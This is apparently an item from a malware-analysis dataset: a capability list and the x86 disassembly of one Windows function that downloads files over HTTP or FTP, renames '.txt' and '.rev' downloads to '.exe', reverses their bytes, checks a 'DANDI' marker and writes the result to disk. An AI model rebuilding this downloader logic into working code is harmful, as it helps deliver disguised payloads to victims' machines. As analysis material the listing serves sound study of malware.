Function at 0x402e00
Capabilities:
Connect to http server
Create http request
Delete file
Download and write a file
Get file size
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x407053
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x450
push ebx
push ebp
push esi
push edi
mov edi, ecx
lea eax, [esp + 0x470]
lea ecx, [esp + 0x18]
push eax
mov dword [esp + 0x46c], 0
call sub.MFC42.DLL_CString::CString_2
push 0x40ae74
lea ecx, [esp + 0x20]
mov byte [esp + 0x46c], 1
call sub.MFC42.DLL_CString::CString_1
push 0
push 0
push 0
mov ebx, 2
push 0
push str.FptD
mov byte [esp + 0x47c], bl
mov byte [esp + 0x27], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [esp + 0x474]
mov esi, eax
lea eax, [ecx - 1]
cmp eax, 4
ja case.default.0x402e8c
jmp dword [eax*4 + 0x403590]
mov edx, dword [0x40ad1c]
mov eax, dword [0x40ad20]
mov ecx, dword [0x40ad24]
push 0
push 0
push 1
push edx
push eax
push 0x15
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetConnectA]
test eax, eax
jne 0x402efa
lea ecx, [esp + 0x1c]
mov byte [esp + 0x468], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x468], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x470]
mov dword [esp + 0x468], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor al, al
jmp 0x403573
mov edx, dword [esp + 0x18]
push 0
push 0x4000002
push 0x80000000
push edx
push eax
call dword [sym.imp.WININET.dll_FtpOpenFileA]
mov ebp, eax
jmp 0x403259
push 0x40ad24
lea eax, [esp + 0x54]
push str.http:__
push eax
call sub.MFC42.DLL_operator_2
push 0x40a484
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x474], 3
call sub.MFC42.DLL_operator_1
lea edx, [esp + 0x470]
mov byte [esp + 0x468], 4
push edx
push eax
lea eax, [esp + 0x44]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 5
call fcn.00406a18
lea ecx, [esp + 0x3c]
mov byte [esp + 0x468], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0x468], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x50]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
jmp 0x403259
push 0x40ad24
lea edx, [esp + 0x48]
push str.http:__
push edx
call sub.MFC42.DLL_operator_2
push 0x40a484
push eax
lea eax, [esp + 0x64]
mov byte [esp + 0x470], 6
push eax
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x470]
lea edx, [esp + 0x34]
push ecx
push eax
push edx
mov byte [esp + 0x474], 7
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 8
call fcn.00406a18
lea ecx, [esp + 0x34]
mov byte [esp + 0x468], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x5c]
mov byte [esp + 0x468], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push str..txt
lea ecx, [esp + 0x18]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_1
mov ecx, dword [esp + 0x14]
mov byte [esp + 0x468], 9
push ecx
lea ecx, [esp + 0x474]
call sub.MFC42.DLL_CString::Find
mov edx, dword [esp + 0x14]
push str..exe
push edx
lea ecx, [esp + 0x478]
call sub.MFC42.DLL_CString::Replace
lea ecx, [esp + 0x14]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
jmp 0x403259
push 0x40ad24
lea eax, [esp + 0x3c]
push str.http:__
push eax
call sub.MFC42.DLL_operator_2
push 0x40a484
lea ecx, [esp + 0x50]
push eax
push ecx
mov byte [esp + 0x474], 0xa
call sub.MFC42.DLL_operator_1
lea edx, [esp + 0x470]
mov byte [esp + 0x468], 0xb
push edx
push eax
lea eax, [esp + 0x5c]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 0xc
call fcn.00406a18
lea ecx, [esp + 0x54]
mov byte [esp + 0x468], 0xb
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x4c]
mov byte [esp + 0x468], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
push str..rev
lea ecx, [esp + 0x18]
mov ebp, eax
call sub.MFC42.DLL_CString::CString_1
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x470]
push edx
mov byte [esp + 0x46c], 0xd
call sub.MFC42.DLL_CString::Find
mov eax, dword [esp + 0x14]
push str..exe
push eax
lea ecx, [esp + 0x478]
call sub.MFC42.DLL_CString::Replace
lea ecx, [esp + 0x14]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
jmp 0x403259
push 0x40ad24
lea ecx, [esp + 0x28]
push str.http:__
push ecx
call sub.MFC42.DLL_operator_2
push 0x40a484
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x474], 0xe
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x470]
lea edx, [esp + 0x40]
push ecx
push eax
push edx
mov byte [esp + 0x474], 0xf
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x46c], 0x10
call fcn.00406a18
lea ecx, [esp + 0x40]
mov byte [esp + 0x468], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x468], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x18]
push 0
push 0x80000000
push 0xffffffffffffffff
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
mov dword [esp + 0x474], ebx
test ebp, ebp
jne 0x403294
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2ee3
mov dword [esp + 0x28], eax
jne 0x4034f9
lea ecx, [esp + 0x58]
lea edx, [esp + 0x60]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
mov dword [esp + 0x64], 0x400
call dword [sym.imp.WININET.dll_InternetGetLastResponseInfoA]
jmp 0x4034f9
cmp dword [esp + 0x474], 5
jne 0x4032b1
lea ecx, [esp + 0x470]
push ecx
lea ecx, [esp + 0x20]
call fcn.00406a18
jmp 0x4032e7
lea edx, [esp + 0x470]
lea eax, [esp + 0x24]
push edx
push eax
mov ecx, edi
call fcn.004059f0
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0x46c], 0x11
call fcn.00406a18
lea ecx, [esp + 0x24]
mov byte [esp + 0x468], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x2c], edi
jne 0x40331e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x28], eax
jmp 0x4034f9
cmp dword [esp + 0x474], 4
jne 0x4033f3
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call sub.MFC42.DLL_operatornew
push esi
mov dword [esp + 0x1c], eax
call sub.MFC42.DLL_operatornew
add esp, 8
lea edx, [esp + 0x20]
mov esi, eax
lea eax, [esp + 0x60]
push edx
push 0x400
push eax
push ebp
mov dword [esp + 0x34], esi
xor ebx, ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x4033b1
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov eax, ecx
lea esi, [esp + 0x60]
lea edi, [ebx + edx]
lea edx, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x20]
add ebx, ecx
lea ecx, [esp + 0x20]
push ecx
push 0x400
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x40336c
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x2c]
xor eax, eax
test ebx, ebx
jbe 0x4033cb
mov ecx, dword [esp + 0x14]
lea ebp, [ebx + ecx - 1]
mov dl, byte [ebp]
mov byte [eax + esi], dl
inc eax
dec ebp
cmp eax, ebx
jb 0x4033bf
lea eax, [esp + 0x30]
push 0
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esp + 0x14]
push ecx
call sub.MFC42.DLL_operatordelete
push esi
call sub.MFC42.DLL_operatordelete
add esp, 8
jmp 0x4034ea
mov esi, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x64]
push 5
push eax
push ebp
call esi
test eax, eax
je 0x4034ea
lea ecx, [esp + 0x60]
push str.DANDI
push ecx
mov byte [esp + 0x6d], 0
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4034bd
lea edx, [esp + 0x20]
lea eax, [esp + 0x60]
push edx
push 0x400
push eax
push ebp
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x403477
mov eax, dword [esp + 0x20]
test eax, eax
je 0x403477
lea ecx, [esp + 0x30]
push 0
push ecx
lea edx, [esp + 0x68]
push eax
push edx
push edi
call ebx
lea eax, [esp + 0x20]
lea ecx, [esp + 0x60]
push eax
push 0x400
push ecx
push ebp
call esi
test eax, eax
jne 0x403449
call dword [sym.imp.MSVCRT.dll_rand]
mov esi, eax
and esi, 0x8000003f
jns 0x40348c
dec esi
or esi, 0xffffffc0
inc esi
push 0x40ad08
lea ecx, [esp + 0x18]
add esi, 7
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x30]
push 0
push edx
push esi
push eax
push edi
call ebx
lea ecx, [esp + 0x14]
mov byte [esp + 0x13], 1
call sub.MFC42.DLL_CString::CString
jmp 0x4034ea
mov edx, dword [0x40ad08]
lea ecx, [esp + 0x60]
push ecx
push edx
push str.uid:_s_d_verification_failed___s_
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x10
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [esp + 0x13]
test al, al
jne 0x403536
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x1c]
mov edx, dword [0x40ad08]
push eax
push ecx
push edx
push str.uid:_s_dnl_failed_file___s__deleted__d_
push 0x40ab68
call sub.MFC42.DLL_CString::Format
add esp, 0x14
mov ecx, 0x40ac70
push 0x40ab68
call fcn.00406740
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x468], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x468], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x470]
mov dword [esp + 0x468], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov al, byte [esp + 0x13]
mov ecx, dword [esp + 0x460]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x45c
ret 8